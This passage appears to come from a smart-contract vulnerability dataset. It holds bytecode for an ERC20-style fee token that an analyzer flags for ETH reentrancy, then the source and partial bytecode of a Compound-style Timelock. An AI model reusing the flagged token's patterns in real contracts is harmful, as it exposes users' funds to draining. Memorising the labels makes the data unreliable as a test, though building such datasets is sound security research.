01054816119f0846109dd565b6119fa919061310e565b1115611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3290612f78565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a8657600080fd5b601e42611a93919061310e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b825750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bee576000600a819055506003600b819055505b6000611bf9306109dd565b9050600e60159054906101000a900460ff16158015611c665750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7e5750600e60169054906101000a900460ff165b15611ca657611c8c81611ebb565b60004790506000811115611ca457611ca347611de1565b5b505b505b611cb3838383612143565b505050565b6000838311158290611d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf79190612e36565b60405180910390fd5b5060008385611d0f91906131ef565b9050809150509392505050565b600080831415611d2f5760009050611d91565b60008284611d3d9190613195565b9050828482611d4c9190613164565b14611d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8390612ef8565b60405180910390fd5b809150505b92915050565b6000611dd983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612153565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e49573d6000803e3d6000fd5b5050565b6000600854821115611e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8b90612e98565b60405180910390fd5b6000611e9e6121b6565b9050611eb38184611d9790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef357611ef26133c4565b5b604051908082528060200260200182016040528015611f215781602001602082028036833780820191505090505b5090503081600081518110611f3957611f38613395565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fdb57600080fd5b505afa158015611fef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612013919061287d565b8160018151811061202757612026613395565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461145a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f2959493929190612ff3565b600060405180830381600087803b15801561210c57600080fd5b505af1158015612120573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61214e8383836121e1565b505050565b6000808311829061219a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121919190612e36565b60405180910390fd5b50600083856121a99190613164565b9050809150509392505050565b60008060006121c36123ac565b915091506121da8183611d9790919063ffffffff16565b9250505090565b6000806000806000806121f38761240e565b95509550955095509550955061225186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123328161251e565b61233c84836125db565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123999190612fd8565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea0000090506123e2683635c9adc5dea00000600854611d9790919063ffffffff16565b82101561240157600854683635c9adc5dea0000093509350505061240a565b81819350935050505b9091565b600080600080600080600080600061242b8a600a54600b54612615565b925092509250600061243b6121b6565b9050600080600061244e8e8787876126ab565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb8565b905092915050565b60008082846124cf919061310e565b905083811015612514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250b90612ed8565b60405180910390fd5b8091505092915050565b60006125286121b6565b9050600061253f8284611d1c90919063ffffffff16565b905061259381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125f08260085461247690919063ffffffff16565b60088190555061260b816009546124c090919063ffffffff16565b6009819055505050565b6000806000806126416064612633888a611d1c90919063ffffffff16565b611d9790919063ffffffff16565b9050600061266b606461265d888b611d1c90919063ffffffff16565b611d9790919063ffffffff16565b9050600061269482612686858c61247690919063ffffffff16565b61247690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c48589611d1c90919063ffffffff16565b905060006126db8689611d1c90919063ffffffff16565b905060006126f28789611d1c90919063ffffffff16565b9050600061271b8261270d858761247690919063ffffffff16565b61247690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127476127428461308d565b613068565b9050808382526020820190508285602086028201111561276a576127696133f8565b5b60005b8581101561279a578161278088826127a4565b84526020840193506020830192505060018101905061276d565b5050509392505050565b6000813590506127b38161370e565b92915050565b6000815190506127c88161370e565b92915050565b600082601f8301126127e3576127e26133f3565b5b81356127f3848260208601612734565b91505092915050565b60008135905061280b81613725565b92915050565b60008151905061282081613725565b92915050565b6000813590506128358161373c565b92915050565b60008151905061284a8161373c565b92915050565b60006020828403121561286657612865613402565b5b6000612874848285016127a4565b91505092915050565b60006020828403121561289357612892613402565b5b60006128a1848285016127b9565b91505092915050565b600080604083850312156128c1576128c0613402565b5b60006128cf858286016127a4565b92505060206128e0858286016127a4565b9150509250929050565b60008060006060848603121561290357612902613402565b5b6000612911868287016127a4565b9350506020612922868287016127a4565b925050604061293386828701612826565b9150509250925092565b6000806040838503121561295457612953613402565b5b6000612962858286016127a4565b925050602061297385828601612826565b9150509250929050565b60006020828403121561299357612992613402565b5b600082013567ffffffffffffffff8111156129b1576129b06133fd565b5b6129bd848285016127ce565b91505092915050565b6000602082840312156129dc576129db613402565b5b60006129ea848285016127fc565b91505092915050565b600060208284031215612a0957612a08613402565b5b6000612a1784828501612811565b91505092915050565b600060208284031215612a3657612a35613402565b5b6000612a4484828501612826565b91505092915050565b600080600060608486031215612a6657612a65613402565b5b6000612a748682870161283b565b9350506020612a858682870161283b565b9250506040612a968682870161283b565b9150509250925092565b6000612aac8383612ab8565b60208301905092915050565b612ac181613223565b82525050565b612ad081613223565b82525050565b6000612ae1826130c9565b612aeb81856130ec565b9350612af6836130b9565b8060005b83811015612b27578151612b0e8882612aa0565b9750612b19836130df565b925050600181019050612afa565b5085935050505092915050565b612b3d81613235565b82525050565b612b4c81613278565b82525050565b6000612b5d826130d4565b612b6781856130fd565b9350612b7781856020860161328a565b612b8081613407565b840191505092915050565b6000612b986023836130fd565b9150612ba382613418565b604082019050919050565b6000612bbb6019836130fd565b9150612bc682613467565b602082019050919050565b6000612bde602a836130fd565b9150612be982613490565b604082019050919050565b6000612c016022836130fd565b9150612c0c826134df565b604082019050919050565b6000612c24601b836130fd565b9150612c2f8261352e565b602082019050919050565b6000612c476021836130fd565b9150612c5282613557565b604082019050919050565b6000612c6a6020836130fd565b9150612c75826135a6565b602082019050919050565b6000612c8d6029836130fd565b9150612c98826135cf565b604082019050919050565b6000612cb06025836130fd565b9150612cbb8261361e565b604082019050919050565b6000612cd3601a836130fd565b9150612cde8261366d565b602082019050919050565b6000612cf66024836130fd565b9150612d0182613696565b604082019050919050565b6000612d196017836130fd565b9150612d24826136e5565b602082019050919050565b612d3881613261565b82525050565b612d478161326b565b82525050565b6000602082019050612d626000830184612ac7565b92915050565b6000604082019050612d7d6000830185612ac7565b612d8a6020830184612ac7565b9392505050565b6000604082019050612da66000830185612ac7565b612db36020830184612d2f565b9392505050565b600060c082019050612dcf6000830189612ac7565b612ddc6020830188612d2f565b612de96040830187612b43565b612df66060830186612b43565b612e036080830185612ac7565b612e1060a0830184612d2f565b979650505050505050565b6000602082019050612e306000830184612b34565b92915050565b60006020820190508181036000830152612e508184612b52565b905092915050565b60006020820190508181036000830152612e7181612b8b565b9050919050565b60006020820190508181036000830152612e9181612bae565b9050919050565b60006020820190508181036000830152612eb181612bd1565b9050919050565b60006020820190508181036000830152612ed181612bf4565b9050919050565b60006020820190508181036000830152612ef181612c17565b9050919050565b60006020820190508181036000830152612f1181612c3a565b9050919050565b60006020820190508181036000830152612f3181612c5d565b9050919050565b60006020820190508181036000830152612f5181612c80565b9050919050565b60006020820190508181036000830152612f7181612ca3565b9050919050565b60006020820190508181036000830152612f9181612cc6565b9050919050565b60006020820190508181036000830152612fb181612ce9565b9050919050565b60006020820190508181036000830152612fd181612d0c565b9050919050565b6000602082019050612fed6000830184612d2f565b92915050565b600060a0820190506130086000830188612d2f565b6130156020830187612b43565b81810360408301526130278186612ad6565b90506130366060830185612ac7565b6130436080830184612d2f565b9695505050505050565b60006020820190506130626000830184612d3e565b92915050565b6000613072613083565b905061307e82826132bd565b919050565b6000604051905090565b600067ffffffffffffffff8211156130a8576130a76133c4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061311982613261565b915061312483613261565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315957613158613337565b5b828201905092915050565b600061316f82613261565b915061317a83613261565b92508261318a57613189613366565b5b828204905092915050565b60006131a082613261565b91506131ab83613261565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e4576131e3613337565b5b828202905092915050565b60006131fa82613261565b915061320583613261565b92508282101561321857613217613337565b5b828203905092915050565b600061322e82613241565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328382613261565b9050919050565b60005b838110156132a857808201518184015260208101905061328d565b838111156132b7576000848401525b50505050565b6132c682613407565b810181811067ffffffffffffffff821117156132e5576132e46133c4565b5b80604052505050565b60006132f982613261565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332c5761332b613337565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61371781613223565b811461372257600080fd5b50565b61372e81613235565b811461373957600080fd5b50565b61374581613261565b811461375057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bec3d05da90ae4cc0e91c1e92342748a158d3be4f8b416de3a8c11f83ba77b9f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,105
0xc2088cf616948b807329dc8ef59145ab622b51c6
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 1 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } // XXX: function() external payable { } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100e15760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610631578063e177246e14610646578063f2b0653714610670578063f851a4401461069a576100e8565b80636fc1f57e146105de5780637d645fab14610607578063b1b43ae51461061c576100e8565b80633a66f901116100bb5780633a66f901146102ea5780634dd18bf514610449578063591fcdfe1461047c5780636a42b8f8146105c9576100e8565b80630825f38f146100ed5780630e18b681146102a257806326782247146102b9576100e8565b366100e857005b600080fd5b61022d600480360360a081101561010357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561013257600080fd5b82018360208201111561014457600080fd5b803590602001918460018302840111600160201b8311171561016557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101b757600080fd5b8201836020820111156101c957600080fd5b803590602001918460018302840111600160201b831117156101ea57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106af915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026757818101518382015260200161024f565b50505050905090810190601f1680156102945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ae57600080fd5b506102b7610baf565b005b3480156102c557600080fd5b506102ce610c4b565b604080516001600160a01b039092168252519081900360200190f35b3480156102f657600080fd5b50610437600480360360a081101561030d57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561033c57600080fd5b82018360208201111561034e57600080fd5b803590602001918460018302840111600160201b8311171561036f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460018302840111600160201b831117156103f457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c5a915050565b60408051918252519081900360200190f35b34801561045557600080fd5b506102b76004803603602081101561046c57600080fd5b50356001600160a01b0316610f5c565b34801561048857600080fd5b506102b7600480360360a081101561049f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104ce57600080fd5b8201836020820111156104e057600080fd5b803590602001918460018302840111600160201b8311171561050157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561055357600080fd5b82018360208201111561056557600080fd5b803590602001918460018302840111600160201b8311171561058657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611051915050565b3480156105d557600080fd5b506104376112fe565b3480156105ea57600080fd5b506105f3611304565b604080519115158252519081900360200190f35b34801561061357600080fd5b5061043761130d565b34801561062857600080fd5b50610437611314565b34801561063d57600080fd5b5061043761131b565b34801561065257600080fd5b506102b76004803603602081101561066957600080fd5b5035611322565b34801561067c57600080fd5b506105f36004803603602081101561069357600080fd5b5035611417565b3480156106a657600080fd5b506102ce61142c565b6000546060906001600160a01b031633146106fb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114a16038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610761578181015183820152602001610749565b50505050905090810190601f16801561078e5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107c15781810151838201526020016107a9565b50505050905090810190601f1680156107ee5780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600490935291205490995060ff16975061085f96505050505050505760405162461bcd60e51b815260040180806020018281038252603d81526020018061162f603d913960400191505060405180910390fd5b8261086861143b565b10156108a55760405162461bcd60e51b81526004018080602001828103825260458152602001806115436045913960600191505060405180910390fd5b6108b2836212750061143f565b6108ba61143b565b11156108f75760405162461bcd60e51b81526004018080602001828103825260338152602001806115106033913960400191505060405180910390fd5b6000818152600460205260409020805460ff19169055845160609061091d5750836109a0565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b602083106109685780518252601f199092019160209182019101610949565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109df5780518252601f1990920191602091820191016109c0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a41576040519150601f19603f3d011682016040523d82523d6000602084013e610a46565b606091505b509150915081610a875760405162461bcd60e51b815260040180806020018281038252603d815260200180611712603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b04578181015183820152602001610aec565b50505050905090810190601f168015610b315780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b64578181015183820152602001610b4c565b50505050905090810190601f168015610b915780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bf85760405162461bcd60e51b815260040180806020018281038252603881526020018061166c6038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610ca45760405162461bcd60e51b81526004018080602001828103825260368152602001806116dc6036913960400191505060405180910390fd5b610cb8600254610cb261143b565b9061143f565b821015610cf65760405162461bcd60e51b815260040180806020018281038252604981526020018061174f6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d5c578181015183820152602001610d44565b50505050905090810190601f168015610d895780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610dbc578181015183820152602001610da4565b50505050905090810190601f168015610de95780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610eb4578181015183820152602001610e9c565b50505050905090810190601f168015610ee15780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f14578181015183820152602001610efc565b50505050905090810190601f168015610f415780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60035460ff1615610faa57333014610fa55760405162461bcd60e51b81526004018080602001828103825260388152602001806116a46038913960400191505060405180910390fd5b611001565b6000546001600160a01b03163314610ff35760405162461bcd60e51b815260040180806020018281038252603b8152602001806115bc603b913960400191505060405180910390fd5b6003805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461109a5760405162461bcd60e51b81526004018080602001828103825260378152602001806114d96037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111005781810151838201526020016110e8565b50505050905090810190601f16801561112d5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611160578181015183820152602001611148565b50505050905090810190601f16801561118d5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611258578181015183820152602001611240565b50505050905090810190601f1680156112855780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112b85781810151838201526020016112a0565b50505050905090810190601f1680156112e55780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b60035460ff1681565b62278d0081565b6201518081565b6212750081565b3330146113605760405162461bcd60e51b81526004018080602001828103825260318152602001806117986031913960400191505060405180910390fd5b620151808110156113a25760405162461bcd60e51b81526004018080602001828103825260348152602001806115886034913960400191505060405180910390fd5b62278d008111156113e45760405162461bcd60e51b81526004018080602001828103825260388152602001806115f76038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b600082820183811015611499576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a